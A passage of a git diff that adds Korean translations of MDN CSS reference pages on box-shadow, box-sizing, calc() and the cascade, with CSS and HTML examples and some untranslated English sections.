+<p><code>box-shadow</code> CSS 속성은 요소의 테두리를 감싼 그림자 효과를 추가합니다. 쉼표로 구문해서 여러 그림자 효과를 입힐 수 있습니다. 박스 그림자는 요소에서의 수평수직 거리(오프셋), 흐릿함과 확산 정도, 색상으로 이루어집니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/box-shadow.html")}}</p>
+
+<p><code>box-shadow</code> 속성은 거의 모든 요소의 테두리에서 그림자를 드리울 수 있도록 도와줍니다. {{cssxref("border-radius")}}가 요소에 함께 적용됐다면 박스 그림자의 모서리도 똑같이 둥근 모서리를 갖게 됩니다. 여러 그림자의 z축 순서는 {{cssxref("text-shadow")}}와 동일하게 처음 그림자일수록 위로 올라옵니다.</p>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Box-shadow_generator">박스 그림자 생성기</a>는 상호작용형 도구로, 쉽게 <code>box-shadow</code>의 값을 생성할 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css"><code>/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Global keywords */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;</code>
+</pre>
+
+<p>하나의 <code>box-shadow</code>는 다음 구성요소로 지정할 수 있습니다.</p>
+
+<ul>
+ <li>두 개에서 네 개의 {{cssxref("&lt;length&gt;")}} 값.
+ <ul>
+ <li>두 개의 값을 사용하면 <code>&lt;offset-x&gt;&lt;offset-y&gt;</code>로 분석합니다.</li>
+ <li>세 번째 값이 주어지면 <code>&lt;blur-radius&gt;</code>로 분석합니다.</li>
+ <li>네 번째 값이 주어지면 <code>&lt;spread-radius&gt;</code>로 분석합니다.</li>
+ </ul>
+ </li>
+ <li>선택사항으로 <code>inset</code> 키워드.</li>
+ <li>선택사항으로 {{cssxref("&lt;color&gt;")}} 값.</li>
+</ul>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>inset</code></dt>
+ <dd>값을 지정하지 않으면(기본값) 요소가 공중에 떠있는 것처럼 밖에 드리우는 그림자가 됩니다.<br>
+ <code>inset</code> 키워드가 존재하면 요소가 움푹 들어간 것처럼 그림자가 요소의 테두리 안, 배경색 위, 내부 콘텐츠 밑에 그려집니다.</dd>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code></dt>
+ <dd>그림자의 위치를 설정하는 두 개의 {{cssxref("&lt;length&gt;")}} 값입니다. <code>&lt;offset-x&gt;</code>는 수평 거리를 의미하며 음수 값은 그림자를 요소의 왼쪽에 표시합니다. <code>&lt;offset-y&gt;</code>는 수직 거리를 의미하며 음수 값은 그림자를 요소의 위쪽에 표시합니다. 가능한 단위는 {{cssxref("&lt;length&gt;")}}를 참고하세요.<br>
+ 두 값이 모두 <code>0</code>이면 그림자가 요소 바로 뒤쪽에 위치하며, <code>&lt;blur-radius&gt;</code> 또는 <code>&lt;spread-radius&gt;</code>가 존재하면 흐려지는 효과를 볼 수 있습니다.</dd>
+ <dt><code>&lt;blur-radius&gt;</code></dt>
+ <dd>세 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 크면 클 수록 그림자 테두리가 흐려지므로 크기는 더 커지고 색은 더 밝아집니다. 음수 값은 사용할 수 없습니다. 값을 설정하지 않으면 <code>0</code>이 되어 테두리가 선명해집니다. 명세는 흐림 효과의 지름을 어떻게 계산해야 하는지 정확한 알고리즘은 명시하지 않았지만 대신 다음과 같이 설명하고 있습니다.</dd>
+ <dd>
+ <p class="summary">…for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.</p>
+ </dd>
+ <dt><code>&lt;spread-radius&gt;</code></dt>
+ <dd>네 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 양수 값은 그림자가 더 커지고 확산하며, 음수 값은 그림자가 줄어듭니다. 기본값은 <code>0</code>(그림자와 요소 크기 동일)입니다. </dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>가능한 키워드와 표기법은 {{cssxref("&lt;color&gt;")}}를 참고하세요.<br>
+ 기본값은 브라우저에 따라 다릅니다. 보통 {{cssxref("color")}} 속성의 값을 사용하지만, Safari는 투명한 그림자가 기본값입니다.</dd>
+</dl>
+
+<h3 id="보간">보간</h3>
+
+<p>Each shadow in the list (treating <code>none</code> as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not <code>inset</code>, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one <code>inset</code> and the other not <code>inset</code>, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is <code>transparent</code>, all lengths are <code>0</code>, and whose <code>inset</code> (or not) matches the longer list.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre>{{csssyntax}}
+</pre>
+
+<h2 id="Live_examples" name="Live_examples">예제</h2>
+
+<ul>
+ <li><a class="external" href="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html" title="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">box-shadow test</a></li>
+ <li><a class="external" href="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/" title="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">box-shadow tutorial and examples</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.box-shadow")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>Other color-related properties: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li>
+</ul>
diff --git a/files/ko/web/css/box-sizing/index.html b/files/ko/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..7241c0f65b
--- /dev/null
+++ b/files/ko/web/css/box-sizing/index.html
@@ -0,0 +1,119 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/box-sizing
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>box-sizing</code></strong> <a href="/ko/docs/Web/CSS" title="CSS/Common_CSS_Questions">CSS</a> 속성은 요소의 너비와 높이를 계산하는 방법을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-sizing.html")}}</div>
+
+
+
+<p>CSS 박스 모델의 기본값에서, 지정한 너비와 높이는 요소의 콘텐츠 박스 크기에만 적용됩니다. 요소에 테두리나 안쪽 여백이 있으면 너비와 높이에 더해서 화면에 그립니다. 따라서 크기를 설정할 때, 원하는 크기를 얻으려면 테두리나 안쪽 여백을 고려해야 합니다.</p>
+
+<p><code>box-sizing</code> 속성을 사용해 이 방식을 바꿀 수 있습니다.</p>
+
+<ul>
+ <li><code>content-box</code>는 기본 CSS 박스 크기 결정법을 사용합니다. 요소의 너비를 100 픽셀로 설정하면 콘텐츠 영역이 100 픽셀 너비를 가지고, 테두리와 안쪽 여백은 이에 더해집니다.</li>
+ <li><code>border-box</code>는 테두리와 안쪽 여백의 크기도 요소의 크기로 고려합니다. 너비를 100 픽셀로 설정하고 테두리와 안쪽 여백을 추가하면, 콘텐츠 영역이 줄어들어 총 너비 100 픽셀을 유지합니다. 대부분의 경우 이 편이 크기를 조절할 때 쉽습니다.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>box-sizing</code> 속성은 다음 키워드 중 하나로 지정할 수 있습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>CSS 표준이 정의한 초기 기본값. {{Cssxref("width")}}와 {{Cssxref("height")}} 속성이 콘텐츠 영역만 포함하고 안팎 여백과 테두리는 포함하지 않습니다. 즉 <code>.box {width: 350px; border: 10px solid black;}</code>을 적용한 요소의 너비는 <code>370px</code>입니다.</dd>
+ <dd>요소의 크기는 너비 = 콘텐츠 너비, 높이 = 콘텐츠 높이로 계산하고 테두리와 안쪽 여백은 식에 넣지 않습니다.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>{{Cssxref("width")}} 와 {{Cssxref("height")}} 속성이 안쪽 여백과 테두리는 포함하고, 바깥 여백은 포함하지 않습니다. 안쪽 여백과 테두리가 요소 상자 안에 위치함을 유의하세요. 즉 <code>.box {width: 350px; border: 10px solid black;}</code>을 적용한 요소의 너비는 <code>350px</code>입니다. 콘텐츠 영역의 크기는 음수일 수 없으므로 <code>border-box</code>를 사용해 요소를 사라지게 할 수는 없습니다.</dd>
+ <dd>요소의 크기는 너비 = 테두리 + 안쪽 여백 + 콘텐츠 너비, 높이 = 테두리 + 안쪽 여백 + 콘텐츠 높이로 계산합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<p>다음 예제는 두 개의 동일한 요소의 크기가 서로 다른 <code>box-sizing</code> 값으로 어떻게 달라지는지 보입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="content-box"&gt;Content box&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="border-box"&gt;Border box&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+ width: 160px;
+ height: 80px;
+ padding: 20px;
+ border: 8px solid red;
+ background: yellow;
+}
+
+.content-box {
+ box-sizing: content-box;
+ /* Total width: 160px + (2 * 20px) + (2 * 8px) = 216px
+ Total height: 80px + (2 * 20px) + (2 * 8px) = 136px
+ Content box width: 160px
+ Content box height: 80px */
+}
+
+.border-box {
+ box-sizing: border-box;
+ /* Total width: 160px
+ Total height: 80px
+ Content box width: 160px - (2 * 20px) - (2 * 8px) = 104px
+ Content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 'auto', 300)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}</td>
+ <td>{{Spec2('CSS3 Basic UI')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.box-sizing")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델</a></li>
+</ul>
diff --git a/files/ko/web/css/calc()/index.html b/files/ko/web/css/calc()/index.html
new file mode 100644
index 0000000000..7a155befb3
--- /dev/null
+++ b/files/ko/web/css/calc()/index.html
@@ -0,0 +1,160 @@
+---
+title: calc()
+slug: Web/CSS/calc()
+tags:
+ - CSS
+ - CSS Function
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/calc()
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>calc()</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> 함수를 사용하면 CSS 속성의 값으로 계산식을 지정할 수 있습니다.</span> {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, {{cssxref("&lt;number&gt;")}}, 또는 {{cssxref("&lt;integer&gt;")}}를 받는 속성의 값으로 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* property: calc(expression) */
+width: calc(100% - 80px);
+</pre>
+
+<p><code>calc()</code> 함수는 매개변수로 표현식 하나를 받고, 표현식의 결과가 최종 값이 됩니다. 표현식은 단순 계산식은 무엇이든 가능하며, 표준 연산자 우선순위를 따릅니다.</p>
+
+<dl>
+ <dt><code>+</code></dt>
+ <dd>덧셈.</dd>
+ <dt><code>-</code></dt>
+ <dd>뺄셈.</dd>
+ <dt><code>*</code></dt>
+ <dd>곱셈. 하나 이상의 피연산자가 {{cssxref("&lt;number&gt;")}}여야 합니다.</dd>
+ <dt><code>/</code></dt>
+ <dd>나눗셈. 오른쪽 피연산자는 {{cssxref("&lt;number&gt;")}}여야 합니다.</dd>
+</dl>
+
+<p>피연산자로는 {{cssxref("&lt;length&gt;")}} 구문의 아무 값이나 사용할 수 있고, 원한다면 서로 다른 단위끼리도 계산할 수 있습니다. 괄호를 사용해서 연산 순서를 바꿀 수도 있습니다.</p>
+
+<h3 id="참고">참고</h3>
+
+<ul>
+ <li>0으로 나누면 HTML 구문분석기에서 오류가 발생합니다.</li>
+ <li><code>+</code>와 <code>-</code> 연산자는 좌우에 공백이 있어야 합니다. <code>calc(50% -8px)</code>은 백분율 값과 음수 길로 해석하여 유효하지 않지만, <code>calc(50% - 8px)</code>은 백분율과 길이의 뺄셈으로 해석합니다. 마찬가지로, <code>calc(8px + -50%)</code>는 길이와 음의 백분율간의 덧셈으로 처리합니다.</li>
+ <li><code>*</code>와 <code>/</code> 연산자는 좌우 공백을 요구하지 않지만, 그래도 추가하는 편이 일관성을 유지하기에 좋습니다.</li>
+ <li>표의 행, 열, 행/열 그룹, 자동이나 고정 레이아웃 칸에서 백분율을 포함한 수학식을 너비나 높이로 사용하면 <code>auto</code> 키워드를 사용한 것과 동일하게 처리합니다.</li>
+ <li><code>calc()</code> 함수를 중첩해서 사용하면 내부의 <code>calc()</code>는 단순한 괄호로 간주합니다.</li>
+</ul>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요소를_화면에_여백과_함께_배치하기">요소를 화면에 여백과 함께 배치하기</h3>
+
+<p><code>calc()</code>를 이용하면 고정된 너비의 여백을 가진 요소를 쉽게 배치할 수 있습니다. 다음 예제에서는 화면을 가로지르면서 창의 좌우 모서리와 간격이 40픽셀인 배너를 생성합니다.</p>
+
+<pre class="brush: css notranslate">.banner {
+ position: absolute;
+ left: 40px;
+ width: calc(100% - 80px);
+ border: solid black 1px;
+ box-shadow: 1px 2px;
+ background-color: yellow;
+ padding: 6px;
+ text-align: center;
+ box-sizing: border-box;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div class="banner"&gt;이건 현수막입니다!&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('요소를_화면에_여백과_함께_배치하기', 'auto', '60')}}</p>
+
+<h3 id="입력_양식_요소를_컨테이너_크기에_자동으로_맞추기">입력 양식 요소를 컨테이너 크기에 자동으로 맞추기</h3>
+
+<p><code>calc()</code>의 다른 용도는 입력 양식의 필드가 적절한 여백을 갖추면서도 컨테이너 모서리 바깥으로 빠져나가지 않도록 설정하는 것입니다.</p>
+
+<p>다음 CSS 코드를 살펴보세요.</p>
+
+<pre class="brush: css notranslate">input {
+ padding: 2px;
+ display: block;
+ width: calc(100% - 1em);
+}
+
+#formbox {
+ width: calc(100% / 6);
+ border: 1px solid black;
+ padding: 4px;
+}</pre>
+
+<p>위 코드에서, 폼 스스로는 창에서 사용 가능한 공간의 1/6을 차지합니다. 그 후, 입력 필드가 적절한 크기를 가질 수 컨테이너 너비에서 1em 뺀 만큼을 calc()로 지정했습니다. 이제 HTML에 CSS를 적용해보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+ &lt;div id="formBox"&gt;
+ &lt;label&gt;뭔가 입력해 보세요.&lt;/label&gt;
+ &lt;input type="text"&gt;
+ &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample('입력_양식_요소를_컨테이너_크기에_자동으로_맞추기', '100%', '80')}}</p>
+
+<h3 id="CSS_변수와_중첩_calc">CSS 변수와 중첩 <code>calc()</code></h3>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Variables" style="">CSS 변수</a><span style="">도 <code>calc()</code>와 같이 사용할 수 있습니다. 다음 코드를 살펴보세요.</span></p>
+
+<pre class="brush: css notranslate"><code>.foo {
+ --widthA: 100px;
+ --widthB: calc(var(--widthA) / 2);
+ --widthC: calc(var(--widthB) / 2);
+ width: var(--widthC);
+}</code></pre>
+
+<p>모든 변수를 펼치면 <code>widthC</code>의 값은 <code>calc( calc( 100px / 2) / 2)</code>가 됩니다. 그 후 <code>.foo</code>의 너비 속성으로 지정될 때, 모든 중첩 <code>calc()</code>는 깊이에 관계 없이 단순한 괄호로 바뀌므로 <code>width</code> 속성의 값은 <code>calc( ( 100px / 2) / 2)</code>, 즉 <code>25px</code>이 됩니다. 요약하자면 <code>calc()</code> 안의 <code>calc()</code>는 그냥 괄호와 같습니다.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>calc()</code>를 사용해 글씨 크기를 조절할땐 아래 코드처럼 피연산자 중 하나로 꼭 <a href="/ko/docs/Web/CSS/length#상대길이_단위">상대길이 단위</a>를 사용해주세요.</p>
+
+<pre class="brush: css notranslate">h1 {
+ font-size: calc(1.5rem + 3vw);
+}</pre>
+
+<p>이제 페이지를 확대해도 글씨 크기의 비율이 적절히 유지됩니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>최초로 정의됨.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.calc")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2010/06/css3-calc/">Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog</a></li>
+</ul>
diff --git a/files/ko/web/css/cascade/index.html b/files/ko/web/css/cascade/index.html
new file mode 100644
index 0000000000..e7d073cddb
--- /dev/null
+++ b/files/ko/web/css/cascade/index.html
@@ -0,0 +1,229 @@
+---
+title: 종속
+slug: Web/CSS/Cascade
+tags:
+ - CSS
+ - Guide
+ - Introduction
+ - Layout
+ - Reference
+translation_of: Web/CSS/Cascade
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>종속(Cascade)</strong>이란 서로 다른 원점에서 가져온 속성 여럿을 조합해 최종 결과를 도출하는 알고리즘입니다. Cascading Style Sheets라는 이름에서도 알 수 있듯 종속은 CSS의 중심입니다. 이 글은 종속이 무엇인지, 선언한 {{Glossary("CSS")}} <a href="/ko/docs/Web/API/CSSStyleDeclaration">정의</a>가 어떤 순서로 종속되는지, 그리고 여러분, 즉 웹 개발자에게 어떤 영향을 주는지 설명합니다.</p>
+
+<h2 id="Which_CSS_entities_participate_in_the_cascade">Which CSS entities participate in the cascade</h2>
+
+<p>Only CSS declarations, that is property/value pairs, participate in the cascade. This means that <a href="/en-US/docs/Web/CSS/At-rule">at-rules</a> containing entities other than declarations, such as a {{ cssxref("@font-face")}} rule containing <em>descriptors</em>, don't participate in the cascade. In these cases, only the at-rule as a whole participates in the cascade: here, the <code>@font-face</code> identified by its <code><a href="/en-US/docs/Web/CSS/@font-face/font-family">font-family</a></code> descriptor. If several <code>@font-face</code> rules with the same descriptor are defined, only the most appropriate <code>@font-face</code>, as a whole, is considered.</p>
+
+<p>While the declarations contained in most at-rules — such as those in {{cssxref("@media")}}, {{cssxref("@document")}}, or {{cssxref("@supports")}} — participate in the cascade, declarations contained in {{cssxref("@keyframes")}} don't. As with <code>@font-face</code>, only the at-rule as a whole is selected via the cascade algorithm.</p>
+
+<p>Finally, note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.</p>
+
+<h2 id="Origin_of_CSS_declarations">Origin of CSS declarations</h2>
+
+<p>The CSS cascade algorithm's job is to select CSS declarations in order to determine the correct values for CSS properties. CSS declarations originate from different origins: the <strong>{{anch("User-agent stylesheets")}}</strong>, the <strong>{{anch("Author stylesheets")}}</strong>, and the <strong>{{anch("User stylesheets")}}</strong>.</p>
+
+<p>Though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact.</p>
+
+<h3 id="User-agent_stylesheets">User-agent stylesheets</h3>
+
+<p>The browser has a basic style sheet that gives a default style to any document. These style sheets are named <strong>user-agent stylesheets</strong>. Some browsers use actual style sheets for this purpose, while others simulate them in code, but the end result is the same.</p>
+
+<p>Some browsers let users modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To simplify the development process, Web developers often use a CSS reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs.</p>
+
+<h3 id="Author_stylesheets">Author stylesheets</h3>
+
+<p><strong>Author stylesheets</strong> are the most common type of style sheet. These are style sheets that define styles as part of the design of a given web page or site. The author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme.</p>
+
+<h3 id="User_stylesheets">User stylesheets</h3>
+
+<p>The user (or reader) of the web site can choose to override styles in many browsers using a custom <strong>user stylesheet</strong> designed to tailor the experience to the user's wishes.</p>
+
+<h3 id="Override_stylesheets" name="Override_stylesheets">Override stylesheets {{Obsolete_Inline}}</h3>
+
+<p>This feature was never implemented outside of Gecko, where it was only ever used for the non-standard <a href="/en-US/docs/Mozilla/Tech/XBL">XBL stylesheets</a>.</p>
+
+<h2 id="Cascading_order">Cascading order</h2>
+
+<p>The cascading algorithm determines how to find the value to apply for each property for each document element.</p>
+
+<ol>
+ <li>It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.</li>
+ <li>Then it sorts these rules according to their importance, that is, whether or not they are followed by <code>!important</code>, and by their origin. The cascade is in ascending order, which means that <code>!important</code> values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet:
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"> </th>
+ <th scope="col">Origin</th>
+ <th scope="col">Importance</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>1</td>
+ <td>CSS Transitions</td>
+ <td><em>see below</em></td>
+ </tr>
+ <tr>
+ <td>2</td>
+ <td>user agent</td>
+ <td>normal</td>
+ </tr>
+ <tr>
+ <td>3</td>
+ <td>user</td>
+ <td>normal</td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td>override {{Obsolete_Inline}}</td>
+ <td>normal</td>
+ </tr>
+ <tr>
+ <td>4</td>
+ <td>author</td>
+ <td>normal</td>
+ </tr>
+ <tr>
+ <td>5</td>
+ <td>CSS Animations</td>
+ <td><em>see below</em></td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td>override {{Obsolete_Inline}}</td>
+ <td><code>!important</code></td>
+ </tr>
+ <tr>
+ <td>6</td>
+ <td>author</td>
+ <td><code>!important</code></td>
+ </tr>
+ <tr>
+ <td>7</td>
+ <td>user</td>
+ <td><code>!important</code></td>
+ </tr>
+ <tr>
+ <td>8</td>
+ <td>user agent</td>
+ <td><code>!important</code></td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+ <li>In case of equality, the <a href="/en-US/docs/Web/CSSSpecificity" title="/en-US/docs/Web/CSSSpecificity">specificity</a> of a value is considered to choose one or the other.</li>
+</ol>
+
+<h2 id="Resetting_styles">Resetting styles</h2>
+
+<p>After your content has finished altering styles, it may find itself in a situation where it needs to restore them to a known state. This may happen in cases of animations, theme changes, and so forth. The CSS property {{cssxref("all")}} lets you quickly set (almost) everything in CSS back to a known state.</p>
+
+<p><code>all</code> lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.</p>
+
+<h2 id="CSS_animations_and_the_cascade">CSS animations and the cascade</h2>
+
+<p><a href="/en-US/docs/Web/CSSUsing_CSS_animations" title="/en-US/docs/Web/CSSUsing_CSS_animations">CSS animations</a>, using {{ cssxref("@keyframes")}} at-rules, define animations between states. Keyframes don't cascade, meaning that at any given time CSS takes values from only one single {{cssxref("@keyframes")}}, and never mixes multiple ones together.</p>
+
+<p>When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.</p>
+
+<p>Also note that values within <code>@keyframes</code> at-rules overwrite all normal values but are overwritten by <code>!important</code> values.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Let's look at an example involving multiple sources of CSS across the various origins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the HTML:</p>
+
+<p><strong>User-agent CSS:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 10px }</pre>
+
+<p><strong class="brush:css;">Author CSS 1:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 0 } /* This is a reset */</pre>
+
+<p><strong class="brush:css;">Author CSS 2:</strong></p>
+
+<pre class="brush:css;">@media screen {
+ li { margin-left: 3px }
+}
+
+@media print {
+ li { margin-left: 1px }
+}
+</pre>
+
+<p><strong class="brush:css;">User CSS:</strong></p>
+
+<pre class="brush:css;">.specific { margin-left: 1em }</pre>
+
+<p><strong>HTML:</strong></p>
+
+<pre class="brush:html;">&lt;ul&gt;
+ &lt;li class="specific"&gt;1&lt;sup&gt;st&lt;/sup&gt;&lt;/li&gt;
+ &lt;li&gt;2&lt;sup&gt;nd&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>In this case, declarations inside <code>li</code> and <code>.specific</code> rules should apply. No declaration is marked as <code>!important</code>, so the precedence order is author style sheets before user style sheets or user-agent stylesheet.</p>
+
+<p>So three declarations are in competition:</p>
+
+<pre class="brush:css;">margin-left: 0</pre>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<pre class="brush:css;">margin-left: 1px</pre>
+
+<p>The last one is ignored (on a screen), and the first two have the same selector, hence the same specificity. Therefore, it is the last one that is then selected:</p>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<p>Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Cascade")}}</td>
+ <td>{{Spec2("CSS4 Cascade")}}</td>
+ <td>Added the {{CSSxRef("revert")}} keyword, which allows rolling a property back a cascade level.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Cascade")}}</td>
+ <td>{{Spec2("CSS3 Cascade")}}</td>
+ <td>Removed the override cascade origin, as it was never used in a W3C standard.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "cascade.html", "the cascade")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Style","css.html#CSS-OverrideAndComputed","override cascade origin")}}</td>
+ <td>{{Spec2("DOM2 Style")}}</td>
+ <td>Defined the override cascade origin, but didn't elaborate further.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1", "#the-cascade", "the cascade")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
